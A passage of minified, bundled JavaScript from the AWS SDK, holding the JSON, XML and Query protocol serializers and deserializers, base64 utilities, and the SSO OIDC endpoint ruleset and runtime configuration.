K.toISOString().replace(".000Z","Z");case 6:return t_.dateToUtcString(K);case 7:return K.getTime()/1000;default:return console.warn("Missing timestamp format, using epoch seconds",K),K.getTime()/1000}if(z.isNumericSchema()&&typeof K==="number"){if(Math.abs(K)===1/0||isNaN(K))return String(K)}if(z.isStringSchema()){if(typeof K>"u"&&z.isIdempotencyToken())return t_.generateIdempotencyToken();let w=z.getMergedTraits().mediaType;if(K!=null&&w){if(w==="application/json"||w.endsWith("+json"))return t_.LazyJsonString.from(K)}}if(z.isDocumentSchema())if(Y){let w=Array.isArray(K)?[]:{};for(let[H,J]of Object.entries(K))if(J instanceof t_.NumericValue)w[H]=J;else w[H]=this._write(z,J);return w}else return structuredClone(K);return K}}class G81 extends Yn{settings;constructor(A){super();this.settings=A}createSerializer(){let A=new io1(this.settings);return A.setSerdeContext(this.serdeContext),A}createDeserializer(){let A=new lo1(this.settings);return A.setSerdeContext(this.serdeContext),A}}class Z81 extends CZ.RpcProtocol{serializer;deserializer;serviceTarget;codec;mixin;awsQueryCompatible;constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A});this.serviceTarget=K,this.codec=new G81({timestampFormat:{useTrait:!0,default:7},jsonName:!1}),this.serializer=this.codec.createSerializer(),this.deserializer=this.codec.createDeserializer(),this.awsQueryCompatible=!!q,this.mixin=new TOA(this.awsQueryCompatible)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(!Y.path.endsWith("/"))Y.path+="/";if(Object.assign(Y.headers,{"content-type":`application/x-amz-json-${this.getJsonRpcVersion()}`,"x-amz-target":`${this.serviceTarget}.${A.name}`}),this.awsQueryCompatible)Y.headers["x-amzn-query-mode"]="true";if(Wz.deref(A.input)==="unit"||!Y.body)Y.body="{}";return Y}getPayloadCodec(){return this.codec}async handleError(A,K,q,Y,z){if(this.awsQueryCompatible)this.mixin.setQueryCompatError(Y,q);let w=co1(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Wz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Wz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X),G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().jsonName??Z;G[Z]=this.codec.createDeserializer().readObject(W,Y[D])}if(this.awsQueryCompatible)this.mixin.queryCompatOutput(Y,G);throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}}class nc8 extends Z81{constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q})}getShapeId(){return"aws.protocols#awsJson1_0"}getJsonRpcVersion(){return"1.0"}getDefaultContentType(){return"application/x-amz-json-1.0"}}class rc8 extends Z81{constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q})}getShapeId(){return"aws.protocols#awsJson1_1"}getJsonRpcVersion(){return"1.1"}getDefaultContentType(){return"application/x-amz-json-1.1"}}class oc8 extends CZ.HttpBindingProtocol{serializer;deserializer;codec;mixin=new TOA;constructor({defaultNamespace:A}){super({defaultNamespace:A});let K={timestampFormat:{useTrait:!0,default:7},httpBindings:!0,jsonName:!0};this.codec=new G81(K),this.serializer=new CZ.HttpInterceptingShapeSerializer(this.codec.createSerializer(),K),this.deserializer=new CZ.HttpInterceptingShapeDeserializer(this.codec.createDeserializer(),K)}getShapeId(){return"aws.protocols#restJson1"}getPayloadCodec(){return this.codec}setSerdeContext(A){this.codec.setSerdeContext(A),super.setSerdeContext(A)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q),z=Wz.NormalizedSchema.of(A.input);if(!Y.headers["content-type"]){let w=this.mixin.resolveRestContentType(this.getDefaultContentType(),z);if(w)Y.headers["content-type"]=w}if(Y.body==null&&Y.headers["content-type"]===this.getDefaultContentType())Y.body="{}";return Y}async deserializeResponse(A,K,q){let Y=await super.deserializeResponse(A,K,q),z=Wz.NormalizedSchema.of(A.output);for(let[w,H]of z.structIterator())if(H.getMemberTraits().httpPayload&&!(w in Y))Y[w]=null;return Y}async handleError(A,K,q,Y,z){let w=co1(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Wz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Wz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X);await this.deserializeHttpMessage(H,K,q,Y);let G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().jsonName??Z;G[Z]=this.codec.createDeserializer().readObject(W,Y[D])}throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}getDefaultContentType(){return"application/json"}}var sx5=(A)=>{if(A==null)return;if(typeof A==="object"&&"__type"in A)delete A.__type;return tF.expectUnion(A)};class W81 extends Yn{settings;stringDeserializer;constructor(A){super();this.settings=A,this.stringDeserializer=new CZ.FromStringShapeDeserializer(A)}setSerdeContext(A){this.serdeContext=A,this.stringDeserializer.setSerdeContext(A)}read(A,K,q){let Y=Wz.NormalizedSchema.of(A),z=Y.getMemberSchemas();if(Y.isStructSchema()&&Y.isMemberSchema()&&!!Object.values(z).find((O)=>{return!!O.getMemberTraits().eventPayload})){let O={},X=Object.keys(z)[0];if(z[X].isBlobSchema())O[X]=K;else O[X]=this.read(z[X],K);return O}let H=(this.serdeContext?.utf8Encoder??dc8.toUtf8)(K),J=this.parseXml(H);return this.readSchema(A,q?J[q]:J)}readSchema(A,K){let q=Wz.NormalizedSchema.of(A);if(q.isUnitSchema())return;let Y=q.getMergedTraits();if(q.isListSchema()&&!Array.isArray(K))return this.readSchema(q,[K]);if(K==null)return K;if(typeof K==="object"){let z=!!Y.sparse,w=!!Y.xmlFlattened;if(q.isListSchema()){let J=q.getValueSchema(),O=[],X=J.getMergedTraits().xmlName??"member",$=w?K:(K[0]??K)[X],_=Array.isArray($)?$:[$];for(let G of _)if(G!=null||z)O.push(this.readSchema(J,G));return O}let H={};if(q.isMapSchema()){let J=q.getKeySchema(),O=q.getValueSchema(),X;if(w)X=Array.isArray(K)?K:[K];else X=Array.isArray(K.entry)?K.entry:[K.entry];let $=J.getMergedTraits().xmlName??"key",_=O.getMergedTraits().xmlName??"value";for(let G of X){let Z=G[$],W=G[_];if(W!=null||z)H[Z]=this.readSchema(O,W)}return H}if(q.isStructSchema()){for(let[J,O]of q.structIterator()){let X=O.getMergedTraits(),$=!X.httpPayload?O.getMemberTraits().xmlName??J:X.xmlName??O.getName();if(K[$]!=null)H[J]=this.readSchema(O,K[$])}return H}if(q.isDocumentSchema())return K;throw Error(`@aws-sdk/core/protocols - xml deserializer unhandled schema type for ${q.getName(!0)}`)}if(q.isListSchema())return[];if(q.isMapSchema()||q.isStructSchema())return{};return this.stringDeserializer.read(q,K)}parseXml(A){if(A.length){let K;try{K=Ak.parseXML(A)}catch(w){if(w&&typeof w==="object")Object.defineProperty(w,"$responseBodyText",{value:A});throw w}let q="#text",Y=Object.keys(K)[0],z=K[Y];if(z[q])z[Y]=z[q],delete z[q];return tF.getValueFromTextNode(z)}return{}}}class ac8 extends Yn{settings;buffer;constructor(A){super();this.settings=A}write(A,K,q=""){if(this.buffer===void 0)this.buffer="";let Y=Wz.NormalizedSchema.of(A);if(q&&!q.endsWith("."))q+=".";if(Y.isBlobSchema()){if(typeof K==="string"||K instanceof Uint8Array)this.writeKey(q),this.writeValue((this.serdeContext?.base64Encoder??KLA.toBase64)(K))}else if(Y.isBooleanSchema()||Y.isNumericSchema()||Y.isStringSchema()){if(K!=null)this.writeKey(q),this.writeValue(String(K));else if(Y.isIdempotencyToken())this.writeKey(q),this.writeValue(t_.generateIdempotencyToken())}else if(Y.isBigIntegerSchema()){if(K!=null)this.writeKey(q),this.writeValue(String(K))}else if(Y.isBigDecimalSchema()){if(K!=null)this.writeKey(q),this.writeValue(K instanceof t_.NumericValue?K.string:String(K))}else if(Y.isTimestampSchema()){if(K instanceof Date)switch(this.writeKey(q),CZ.determineTimestampFormat(Y,this.settings)){case 5:this.writeValue(K.toISOString().replace(".000Z","Z"));break;case 6:this.writeValue(tF.dateToUtcString(K));break;case 7:this.writeValue(String(K.getTime()/1000));break}}else if(Y.isDocumentSchema())throw Error(`@aws-sdk/core/protocols - QuerySerializer unsupported document type ${Y.getName(!0)}`);else if(Y.isListSchema()){if(Array.isArray(K))if(K.length===0){if(this.settings.serializeEmptyLists)this.writeKey(q),this.writeValue("")}else{let z=Y.getValueSchema(),w=this.settings.flattenLists||Y.getMergedTraits().xmlFlattened,H=1;for(let J of K){if(J==null)continue;let O=this.getKey("member",z.getMergedTraits().xmlName),X=w?`${q}${H}`:`${q}${O}.${H}`;this.write(z,J,X),++H}}}else if(Y.isMapSchema()){if(K&&typeof K==="object"){let z=Y.getKeySchema(),w=Y.getValueSchema(),H=Y.getMergedTraits().xmlFlattened,J=1;for(let[O,X]of Object.entries(K)){if(X==null)continue;let $=this.getKey("key",z.getMergedTraits().xmlName),_=H?`${q}${J}.${$}`:`${q}entry.${J}.${$}`,G=this.getKey("value",w.getMergedTraits().xmlName),Z=H?`${q}${J}.${G}`:`${q}entry.${J}.${G}`;this.write(z,O,_),this.write(w,X,Z),++J}}}else if(Y.isStructSchema()){if(K&&typeof K==="object")for(let[z,w]of Y.structIterator()){if(K[z]==null&&!w.isIdempotencyToken())continue;let H=this.getKey(z,w.getMergedTraits().xmlName),J=`${q}${H}`;this.write(w,K[z],J)}}else if(Y.isUnitSchema());else throw Error(`@aws-sdk/core/protocols - QuerySerializer unrecognized schema type ${Y.getName(!0)}`)}flush(){if(this.buffer===void 0)throw Error("@aws-sdk/core/protocols - QuerySerializer cannot flush with nothing written to buffer.");let A=this.buffer;return delete this.buffer,A}getKey(A,K){let q=K??A;if(this.settings.capitalizeKeys)return q[0].toUpperCase()+q.slice(1);return q}writeKey(A){if(A.endsWith("."))A=A.slice(0,A.length-1);this.buffer+=`&${CZ.extendedEncodeURIComponent(A)}=`}writeValue(A){this.buffer+=CZ.extendedEncodeURIComponent(A)}}class no1 extends CZ.RpcProtocol{options;serializer;deserializer;mixin=new TOA;constructor(A){super({defaultNamespace:A.defaultNamespace});this.options=A;let K={timestampFormat:{useTrait:!0,default:5},httpBindings:!1,xmlNamespace:A.xmlNamespace,serviceNamespace:A.defaultNamespace,serializeEmptyLists:!0};this.serializer=new ac8(K),this.deserializer=new W81(K)}getShapeId(){return"aws.protocols#awsQuery"}setSerdeContext(A){this.serializer.setSerdeContext(A),this.deserializer.setSerdeContext(A)}getPayloadCodec(){throw Error("AWSQuery protocol has no payload codec.")}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(!Y.path.endsWith("/"))Y.path+="/";if(Object.assign(Y.headers,{"content-type":"application/x-www-form-urlencoded"}),Wz.deref(A.input)==="unit"||!Y.body)Y.body="";let z=A.name.split("#")[1]??A.name;if(Y.body=`Action=${z}&Version=${this.options.version}`+Y.body,Y.body.endsWith("&"))Y.body=Y.body.slice(-1);return Y}async deserializeResponse(A,K,q){let Y=this.deserializer,z=Wz.NormalizedSchema.of(A.output),w={};if(q.statusCode>=300){let $=await CZ.collectBody(q.body,K);if($.byteLength>0)Object.assign(w,await Y.read(15,$));await this.handleError(A,K,q,w,this.deserializeMetadata(q))}for(let $ in q.headers){let _=q.headers[$];delete q.headers[$],q.headers[$.toLowerCase()]=_}let H=A.name.split("#")[1]??A.name,J=z.isStructSchema()&&this.useNestedResult()?H+"Result":void 0,O=await CZ.collectBody(q.body,K);if(O.byteLength>0)Object.assign(w,await Y.read(z,O,J));return{$metadata:this.deserializeMetadata(q),...w}}useNestedResult(){return!0}async handleError(A,K,q,Y,z){let w=this.loadQueryErrorCode(q,Y)??"Unknown",H=this.loadQueryError(Y),J=this.loadQueryErrorMessage(Y);H.message=J,H.Error={Type:H.Type,Code:H.Code,Message:J};let{errorSchema:O,errorMetadata:X}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,H,z,(W,D)=>{try{return W.getSchema(D)}catch(j){return W.find((M)=>Wz.NormalizedSchema.of(M).getMergedTraits().awsQueryError?.[0]===D)}}),$=Wz.NormalizedSchema.of(O),G=new(Wz.TypeRegistry.for(O[1]).getErrorCtor(O)??Error)(J),Z={Error:H.Error};for(let[W,D]of $.structIterator()){let j=D.getMergedTraits().xmlName??W,M=H[j]??Y[j];Z[W]=this.deserializer.readSchema(D,M)}throw this.mixin.decorateServiceException(Object.assign(G,X,{$fault:$.getMergedTraits().error,message:J},Z),Y)}loadQueryErrorCode(A,K){let q=(K.Errors?.[0]?.Error??K.Errors?.Error??K.Error)?.Code;if(q!==void 0)return q;if(A.statusCode==404)return"NotFound"}loadQueryError(A){return A.Errors?.[0]?.Error??A.Errors?.Error??A.Error}loadQueryErrorMessage(A){let K=this.loadQueryError(A);return K?.message??K?.Message??A.message??A.Message??"Unknown"}getDefaultContentType(){return"application/x-www-form-urlencoded"}}class sc8 extends no1{options;constructor(A){super(A);this.options=A;let K={capitalizeKeys:!0,flattenLists:!0,serializeEmptyLists:!1};Object.assign(this.serializer.settings,K)}useNestedResult(){return!1}}var tc8=(A,K)=>lc8(A,K).then((q)=>{if(q.length){let Y;try{Y=Ak.parseXML(q)}catch(J){if(J&&typeof J==="object")Object.defineProperty(J,"$responseBodyText",{value:q});throw J}let z="#text",w=Object.keys(Y)[0],H=Y[w];if(H[z])H[w]=H[z],delete H[z];return tF.getValueFromTextNode(H)}return{}}),tx5=async(A,K)=>{let q=await tc8(A,K);if(q.Error)q.Error.message=q.Error.message??q.Error.Message;return q},ec8=(A,K)=>{if(K?.Error?.Code!==void 0)return K.Error.Code;if(K?.Code!==void 0)return K.Code;if(A.statusCode==404)return"NotFound"};class ro1 extends Yn{settings;stringBuffer;byteBuffer;buffer;constructor(A){super();this.settings=A}write(A,K){let q=Wz.NormalizedSchema.of(A);if(q.isStringSchema()&&typeof K==="string")this.stringBuffer=K;else if(q.isBlobSchema())this.byteBuffer="byteLength"in K?K:(this.serdeContext?.base64Decoder??KLA.fromBase64)(K);else{this.buffer=this.writeStruct(q,K,void 0);let Y=q.getMergedTraits();if(Y.httpPayload&&!Y.xmlName)this.buffer.withName(q.getName())}}flush(){if(this.byteBuffer!==void 0){let K=this.byteBuffer;return delete this.byteBuffer,K}if(this.stringBuffer!==void 0){let K=this.stringBuffer;return delete this.stringBuffer,K}let A=this.buffer;if(this.settings.xmlNamespace){if(!A?.attributes?.xmlns)A.addAttribute("xmlns",this.settings.xmlNamespace)}return delete this.buffer,A.toString()}writeStruct(A,K,q){let Y=A.getMergedTraits(),z=A.isMemberSchema()&&!Y.httpPayload?A.getMemberTraits().xmlName??A.getMemberName():Y.xmlName??A.getName();if(!z||!A.isStructSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write struct with empty name or non-struct, schema=${A.getName(!0)}.`);let w=Ak.XmlNode.of(z),[H,J]=this.getXmlnsAttribute(A,q);for(let[O,X]of A.structIterator()){let $=K[O];if($!=null||X.isIdempotencyToken()){if(X.getMergedTraits().xmlAttribute){w.addAttribute(X.getMergedTraits().xmlName??O,this.writeSimple(X,$));continue}if(X.isListSchema())this.writeList(X,$,w,J);else if(X.isMapSchema())this.writeMap(X,$,w,J);else if(X.isStructSchema())w.addChildNode(this.writeStruct(X,$,J));else{let _=Ak.XmlNode.of(X.getMergedTraits().xmlName??X.getMemberName());this.writeSimpleInto(X,$,_,J),w.addChildNode(_)}}}if(J)w.addAttribute(H,J);return w}writeList(A,K,q,Y){if(!A.isMemberSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write non-member list: ${A.getName(!0)}`);let z=A.getMergedTraits(),w=A.getValueSchema(),H=w.getMergedTraits(),J=!!H.sparse,O=!!z.xmlFlattened,[X,$]=this.getXmlnsAttribute(A,Y),_=(G,Z)=>{if(w.isListSchema())this.writeList(w,Array.isArray(Z)?Z:[Z],G,$);else if(w.isMapSchema())this.writeMap(w,Z,G,$);else if(w.isStructSchema()){let W=this.writeStruct(w,Z,$);G.addChildNode(W.withName(O?z.xmlName??A.getMemberName():H.xmlName??"member"))}else{let W=Ak.XmlNode.of(O?z.xmlName??A.getMemberName():H.xmlName??"member");this.writeSimpleInto(w,Z,W,$),G.addChildNode(W)}};if(O){for(let G of K)if(J||G!=null)_(q,G)}else{let G=Ak.XmlNode.of(z.xmlName??A.getMemberName());if($)G.addAttribute(X,$);for(let Z of K)if(J||Z!=null)_(G,Z);q.addChildNode(G)}}writeMap(A,K,q,Y,z=!1){if(!A.isMemberSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write non-member map: ${A.getName(!0)}`);let w=A.getMergedTraits(),H=A.getKeySchema(),O=H.getMergedTraits().xmlName??"key",X=A.getValueSchema(),$=X.getMergedTraits(),_=$.xmlName??"value",G=!!$.sparse,Z=!!w.xmlFlattened,[W,D]=this.getXmlnsAttribute(A,Y),j=(M,P,f)=>{let N=Ak.XmlNode.of(O,P),[T,C]=this.getXmlnsAttribute(H,D);if(C)N.addAttribute(T,C);M.addChildNode(N);let R=Ak.XmlNode.of(_);if(X.isListSchema())this.writeList(X,f,R,D);else if(X.isMapSchema())this.writeMap(X,f,R,D,!0);else if(X.isStructSchema())R=this.writeStruct(X,f,D);else this.writeSimpleInto(X,f,R,D);M.addChildNode(R)};if(Z){for(let[M,P]of Object.entries(K))if(G||P!=null){let f=Ak.XmlNode.of(w.xmlName??A.getMemberName());j(f,M,P),q.addChildNode(f)}}else{let M;if(!z){if(M=Ak.XmlNode.of(w.xmlName??A.getMemberName()),D)M.addAttribute(W,D);q.addChildNode(M)}for(let[P,f]of Object.entries(K))if(G||f!=null){let N=Ak.XmlNode.of("entry");j(N,P,f),(z?q:M).addChildNode(N)}}}writeSimple(A,K){if(K===null)throw Error("@aws-sdk/core/protocols - (XML serializer) cannot write null value.");let q=Wz.NormalizedSchema.of(A),Y=null;if(K&&typeof K==="object")if(q.isBlobSchema())Y=(this.serdeContext?.base64Encoder??KLA.toBase64)(K);else if(q.isTimestampSchema()&&K instanceof Date)switch(CZ.determineTimestampFormat(q,this.settings)){case 5:Y=K.toISOString().replace(".000Z","Z");break;case 6:Y=tF.dateToUtcString(K);break;case 7:Y=String(K.getTime()/1000);break;default:console.warn("Missing timestamp format, using http date",K),Y=tF.dateToUtcString(K);break}else if(q.isBigDecimalSchema()&&K){if(K instanceof t_.NumericValue)return K.string;return String(K)}else if(q.isMapSchema()||q.isListSchema())throw Error("@aws-sdk/core/protocols - xml serializer, cannot call _write() on List/Map schema, call writeList or writeMap() instead.");else throw Error(`@aws-sdk/core/protocols - xml serializer, unhandled schema type for object value and schema: ${q.getName(!0)}`);if(q.isBooleanSchema()||q.isNumericSchema()||q.isBigIntegerSchema()||q.isBigDecimalSchema())Y=String(K);if(q.isStringSchema())if(K===void 0&&q.isIdempotencyToken())Y=t_.generateIdempotencyToken();else Y=String(K);if(Y===null)throw Error(`Unhandled schema-value pair ${q.getName(!0)}=${K}`);return Y}writeSimpleInto(A,K,q,Y){let z=this.writeSimple(A,K),w=Wz.NormalizedSchema.of(A),H=new Ak.XmlText(z),[J,O]=this.getXmlnsAttribute(w,Y);if(O)q.addAttribute(J,O);q.addChildNode(H)}getXmlnsAttribute(A,K){let q=A.getMergedTraits(),[Y,z]=q.xmlNamespace??[];if(z&&z!==K)return[Y?`xmlns:${Y}`:"xmlns",z];return[void 0,void 0]}}class oo1 extends Yn{settings;constructor(A){super();this.settings=A}createSerializer(){let A=new ro1(this.settings);return A.setSerdeContext(this.serdeContext),A}createDeserializer(){let A=new W81(this.settings);return A.setSerdeContext(this.serdeContext),A}}class Al8 extends CZ.HttpBindingProtocol{codec;serializer;deserializer;mixin=new TOA;constructor(A){super(A);let K={timestampFormat:{useTrait:!0,default:5},httpBindings:!0,xmlNamespace:A.xmlNamespace,serviceNamespace:A.defaultNamespace};this.codec=new oo1(K),this.serializer=new CZ.HttpInterceptingShapeSerializer(this.codec.createSerializer(),K),this.deserializer=new CZ.HttpInterceptingShapeDeserializer(this.codec.createDeserializer(),K)}getPayloadCodec(){return this.codec}getShapeId(){return"aws.protocols#restXml"}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q),z=Wz.NormalizedSchema.of(A.input);if(!Y.headers["content-type"]){let w=this.mixin.resolveRestContentType(this.getDefaultContentType(),z);if(w)Y.headers["content-type"]=w}if(Y.headers["content-type"]===this.getDefaultContentType()){if(typeof Y.body==="string")Y.body='<?xml version="1.0" encoding="UTF-8"?>'+Y.body}return Y}async deserializeResponse(A,K,q){return super.deserializeResponse(A,K,q)}async handleError(A,K,q,Y,z){let w=ec8(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Wz.NormalizedSchema.of(H),X=Y.Error?.message??Y.Error?.Message??Y.message??Y.Message??"Unknown",_=new(Wz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X);await this.deserializeHttpMessage(H,K,q,Y);let G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().xmlName??Z,j=Y.Error?.[D]??Y[D];G[Z]=this.codec.createDeserializer().readSchema(W,j)}throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}getDefaultContentType(){return"application/xml"}}ex5.AwsEc2QueryProtocol=sc8;ex5.AwsJson1_0Protocol=nc8;ex5.AwsJson1_1Protocol=rc8;ex5.AwsJsonRpcProtocol=Z81;ex5.AwsQueryProtocol=no1;ex5.AwsRestJsonProtocol=oc8;ex5.AwsRestXmlProtocol=Al8;ex5.AwsSmithyRpcV2CborProtocol=cc8;ex5.JsonCodec=G81;ex5.JsonShapeDeserializer=lo1;ex5.JsonShapeSerializer=io1;ex5.XmlCodec=oo1;ex5.XmlShapeDeserializer=W81;ex5.XmlShapeSerializer=ro1;ex5._toBool=nx5;ex5._toNum=rx5;ex5._toStr=ix5;ex5.awsExpectUnion=sx5;ex5.loadRestJsonErrorCode=co1;ex5.loadRestXmlErrorCode=ec8;ex5.parseJsonBody=do1;ex5.parseJsonErrorBody=ax5;ex5.parseXmlBody=tc8;ex5.parseXmlErrorBody=tx5});var Kl8=v((ku5)=>{var Eu5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";ku5.isArrayBuffer=Eu5});var so1=v((Iu5)=>{var Lu5=Kl8(),ao1=CA("buffer"),Ru5=(A,K=0,q=A.byteLength-K)=>{if(!Lu5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return ao1.Buffer.from(A,K,q)},yu5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?ao1.Buffer.from(A,K):ao1.Buffer.from(A)};Iu5.fromArrayBuffer=Ru5;Iu5.fromString=yu5});var zl8=v((ql8)=>{Object.defineProperty(ql8,"__esModule",{value:!0});ql8.fromBase64=void 0;var bu5=so1(),xu5=/^[A-Za-z0-9+/]*={0,2}$/,uu5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!xu5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,bu5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};ql8.fromBase64=uu5});var Jl8=v((wl8)=>{Object.defineProperty(wl8,"__esModule",{value:!0});wl8.toBase64=void 0;var Bu5=so1(),mu5=_z(),gu5=(A)=>{let K;if(typeof A==="string")K=(0,mu5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,Bu5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};wl8.toBase64=gu5});var D81=v((qLA)=>{var Ol8=zl8(),Xl8=Jl8();Object.keys(Ol8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(qLA,A))Object.defineProperty(qLA,A,{enumerable:!0,get:function(){return Ol8[A]}})});Object.keys(Xl8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(qLA,A))Object.defineProperty(qLA,A,{enumerable:!0,get:function(){return Xl8[A]}})})});var Cl8=v((El8)=>{Object.defineProperty(El8,"__esModule",{value:!0});El8.ruleSet=void 0;var fl8="required",qk="fn",Yk="argv",kOA="ref",$l8=!0,_l8="isSet",YLA="booleanEquals",vOA="error",EOA="endpoint",AQ="tree",to1="PartitionResult",eo1="getAttr",Gl8={[fl8]:!1,type:"string"},Zl8={[fl8]:!0,default:!1,type:"boolean"},Wl8={[kOA]:"Endpoint"},Nl8={[qk]:YLA,[Yk]:[{[kOA]:"UseFIPS"},!0]},Tl8={[qk]:YLA,[Yk]:[{[kOA]:"UseDualStack"},!0]},Kk={},Dl8={[qk]:eo1,[Yk]:[{[kOA]:to1},"supportsFIPS"]},vl8={[kOA]:to1},jl8={[qk]:YLA,[Yk]:[!0,{[qk]:eo1,[Yk]:[vl8,"supportsDualStack"]}]},Ml8=[Nl8],Pl8=[Tl8],Vl8=[{[kOA]:"Region"}],Fu5={version:"1.0",parameters:{Region:Gl8,UseDualStack:Zl8,UseFIPS:Zl8,Endpoint:Gl8},rules:[{conditions:[{[qk]:_l8,[Yk]:[Wl8]}],rules:[{conditions:Ml8,error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:vOA},{conditions:Pl8,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:vOA},{endpoint:{url:Wl8,properties:Kk,headers:Kk},type:EOA}],type:AQ},{conditions:[{[qk]:_l8,[Yk]:Vl8}],rules:[{conditions:[{[qk]:"aws.partition",[Yk]:Vl8,assign:to1}],rules:[{conditions:[Nl8,Tl8],rules:[{conditions:[{[qk]:YLA,[Yk]:[$l8,Dl8]},jl8],rules:[{endpoint:{url:"https://oidc-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:Kk,headers:Kk},type:EOA}],type:AQ},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:vOA}],type:AQ},{conditions:Ml8,rules:[{conditions:[{[qk]:YLA,[Yk]:[Dl8,$l8]}],rules:[{conditions:[{[qk]:"stringEquals",[Yk]:[{[qk]:eo1,[Yk]:[vl8,"name"]},"aws-us-gov"]}],endpoint:{url:"https://oidc.{Region}.amazonaws.com",properties:Kk,headers:Kk},type:EOA},{endpoint:{url:"https://oidc-fips.{Region}.{PartitionResult#dnsSuffix}",properties:Kk,headers:Kk},type:EOA}],type:AQ},{error:"FIPS is enabled but this partition does not support FIPS",type:vOA}],type:AQ},{conditions:Pl8,rules:[{conditions:[jl8],rules:[{endpoint:{url:"https://oidc.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:Kk,headers:Kk},type:EOA}],type:AQ},{error:"DualStack is enabled but this partition does not support DualStack",type:vOA}],type:AQ},{endpoint:{url:"https://oidc.{Region}.{PartitionResult#dnsSuffix}",properties:Kk,headers:Kk},type:EOA}],type:AQ}],type:AQ},{error:"Invalid Configuration: Missing Region",type:vOA}]};El8.ruleSet=Fu5});var yl8=v((Ll8)=>{Object.defineProperty(Ll8,"__esModule",{value:!0});Ll8.defaultEndpointResolver=void 0;var Qu5=gb(),Aa1=Ky(),Uu5=Cl8(),pu5=new Aa1.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),du5=(A,K={})=>{return pu5.get(A,()=>(0,Aa1.resolveEndpoint)(Uu5.ruleSet,{endpointParams:A,logger:K.logger}))};Ll8.defaultEndpointResolver=du5;Aa1.customEndpointFunctions.aws=Qu5.awsEndpointFunctions});var xl8=v((hl8)=>{Object.defineProperty(hl8,"__esModule",{value:!0});hl8.getRuntimeConfig=void 0;var cu5=aw(),lu5=eF(),iu5=Gz(),nu5=ej(),ru5=tE(),Il8=D81(),Sl8=_z(),ou5=go1(),au5=yl8(),su5=(A)=>{return{apiVersion:"2019-06-10",base64Decoder:A?.base64Decoder??Il8.fromBase64,base64Encoder:A?.base64Encoder??Il8.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??au5.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??ou5.defaultSSOOIDCHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new cu5.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new iu5.NoAuthSigner}],logger:A?.logger??new nu5.NoOpLogger,protocol:A?.protocol??new lu5.AwsRestJsonProtocol({defaultNamespace:"com.amazonaws.ssooidc"}),serviceId:A?.serviceId??"SSO OIDC",urlParser:A?.urlParser??ru5.parseUrl,utf8Decoder:A?.utf8Decoder??Sl8.fromUtf8,utf8Encoder:A?.utf8Encoder??Sl8.toUtf8}};hl8.getRuntimeConfig=su5});var KQ=v(($B5)=>{var 